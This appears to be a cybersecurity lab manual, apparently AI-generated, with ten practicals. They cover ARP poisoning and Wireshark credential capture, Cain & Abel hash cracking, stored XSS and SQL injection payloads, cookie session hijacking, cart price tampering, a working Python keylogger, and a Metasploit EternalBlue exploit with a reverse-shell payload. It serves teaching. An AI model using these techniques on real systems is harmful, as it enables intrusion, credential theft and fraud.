□ PRACTICAL NO. 1: Google and Whois for Reconnaissance

A. Using Whois:

1. Open your browser and visit: **https://who.is/**
2. In the search bar, type any domain name (e.g., `www.prestashop.com`) and press **Enter**.
3. The site will show details like:
    - Domain Owner
    - Registrar Information
    - Registration and Expiry Dates
    - Server Name
    - Contact Info

B. Using Google Dorking:

1. Open Google and try the following search queries:
    - `site:example.com` – Shows all indexed pages of that site.
    - `intitle:"login page"` – Finds login pages.
    - `filetype:pdf site:college.edu` – Finds all PDFs from a domain.

□ PRACTICAL NO. 2: Password Encryption and Cracking

2.1 Encrypt and Decrypt using RC4 in CryptTool

1. Download and install **CryptTool 1 or 2**.
2. Open CryptTool → Tools → Symmetric Encryption → Select **RC4**.
3. Enter a message and key → Click on **Encrypt**.
4. To decrypt: Enter the same key and click **Decrypt**.

2.2 Crack Windows Password with Cain & Abel

1. Open **Cain & Abel**.
2. Go to **Cracker > LM & NTLM Hashes**.
3. Click **+ (Add)** → Select "Import from local system" or paste hash manually.
4. Right-click the hash → Select **Dictionary Attack** → Choose a wordlist.
5. Start the attack. It will attempt to crack the password.

□ PRACTICAL NO. 3: Network Commands & ARP Poisoning

3.1 Use TraceRoute, Ping, Ifconfig, Netstat

- Open **Command Prompt** and type:
  - `tracert www.prestashop.com` – Shows path packets take.
  - `ping www.google.com` – Sends test packets.
  - `ipconfig` (Windows) / `ifconfig` (Linux) – Shows IP info.
  - `netstat -an` – Lists all connections and listening ports.

3.2 Perform ARP Poisoning (Cain & Abel)

1. Open Cain & Abel.
2. Go to the **Sniffer** tab and click the **Start/Stop Sniffer** icon.
3. Select your network adapter and click OK.
4. Click the blue + icon to scan for hosts.
5. Go to the **APR** tab at the bottom.
6. Click the + icon again to select target and gateway.
7. Click the **Start/Stop APR** icon to start poisoning.
8. Open a browser and visit a site from the target system.
9. Go to **Passwords tab** in Cain & Abel to view captured credentials.

□ PRACTICAL NO. 4: Port Scanning using Nmap

1. Open **Command Prompt** (after installing Nmap).
2. Use the following commands:
    - ACK Scan: `nmap -sA -T4 scanme.nmap.org`
    - SYN Scan: `nmap -sS -p22,113,139 scanme.nmap.org`
    - FIN Scan: `nmap -sF -T4 scanme.nmap.org`
    - NULL Scan: `nmap -sN -p22 scanme.nmap.org`
    - XMAS Scan: `nmap -sX -T4 scanme.nmap.org`

□ PRACTICAL NO. 5: Packet Capture using Wireshark

1. Open **Wireshark**.
2. Click **Capture > Options**.
3. Select the correct network adapter and click **Start**.
4. Open a browser, log into a website (e.g., test login).
5. Back in Wireshark, use filter: `http` → Click **Apply**.
6. Look for **POST** methods to find username/password sent.
7. Stop capture and analyze the traffic.

□ PRACTICAL NO. 6: Persistent Cross Site Scripting (XSS)

1. Use **DVWA** or a demo site that supports XSS testing.
2. Set security level to **Low** in settings.
3. Go to the **XSS (Stored)** section.
4. In the comment box, enter:
5. `<script>alert('XSS Attack')</script>`

6. Submit it.
7. Now reload the page — your script will execute.

□ PRACTICAL NO. 7: Session Impersonation & Tampering

A. Session Impersonation using Cookies

1. Open Firefox and install an extension like **EditThisCookie** or **Cookie Editor**.
2. Login to a website and copy/export cookies using the extension.
3. Logout of the site.
4. Paste/import the copied cookie in another tab/browser using the same extension.
5. Reload — you're logged in again as the original user.

B. Using Tamper Data (if available)

1. Install **Tamper Data** (or similar tools like Burp Suite).
2. Visit a shopping site → Add item to cart.
3. Open Tamper tool and start capturing.
4. Proceed to checkout → Modify price/quantity in request data.
5. Observe the result — changes may apply if the server is not secure.

□ PRACTICAL NO. 8: SQL Injection Attack

1. Start **XAMPP** → Enable Apache and MySQL.
2. Open `localhost/phpmyadmin` → Create a database `sql_db`.
3. Visit `localhost/sql_injection/setup.php` → Click "Create/Reset DB".
4. Go to `login.php`:
    - Use: `admin` / no password to login.

5. Set security level to **Low** in DVWA.
6. Test inputs:
    - `' OR '1'='1`
    - `1=1`
    - `' OR ''='`

□ PRACTICAL NO. 9: Keylogger using Python

```
from pynput.keyboard import Key, Listener
import logging

log_dir = ""

logging.basicConfig(filename=(log_dir + "key_log.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s:')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
```

Steps:

1. Save this code as `keylogger.py`.
2. Run using: `python keylogger.py`
3. The keys typed will be saved in `key_log.txt`.

□ PRACTICAL NO. 10: Exploiting with Metasploit

1. Download and install **Metasploit Framework**.
2. Open it via terminal: `msfconsole`
3. Use an exploit:
4. `use exploit/windows/smb/ms17_010_eternalblue`
5. `set RHOST <target_ip>`

6. `set PAYLOAD windows/meterpreter/reverse_tcp`
7. `set LHOST <your_ip>`
8. `exploit`
9. Once exploited, you'll get access to the system via a Meterpreter session.

Let me know if you'd like this content in a downloadable Word file too—I can generate that for you!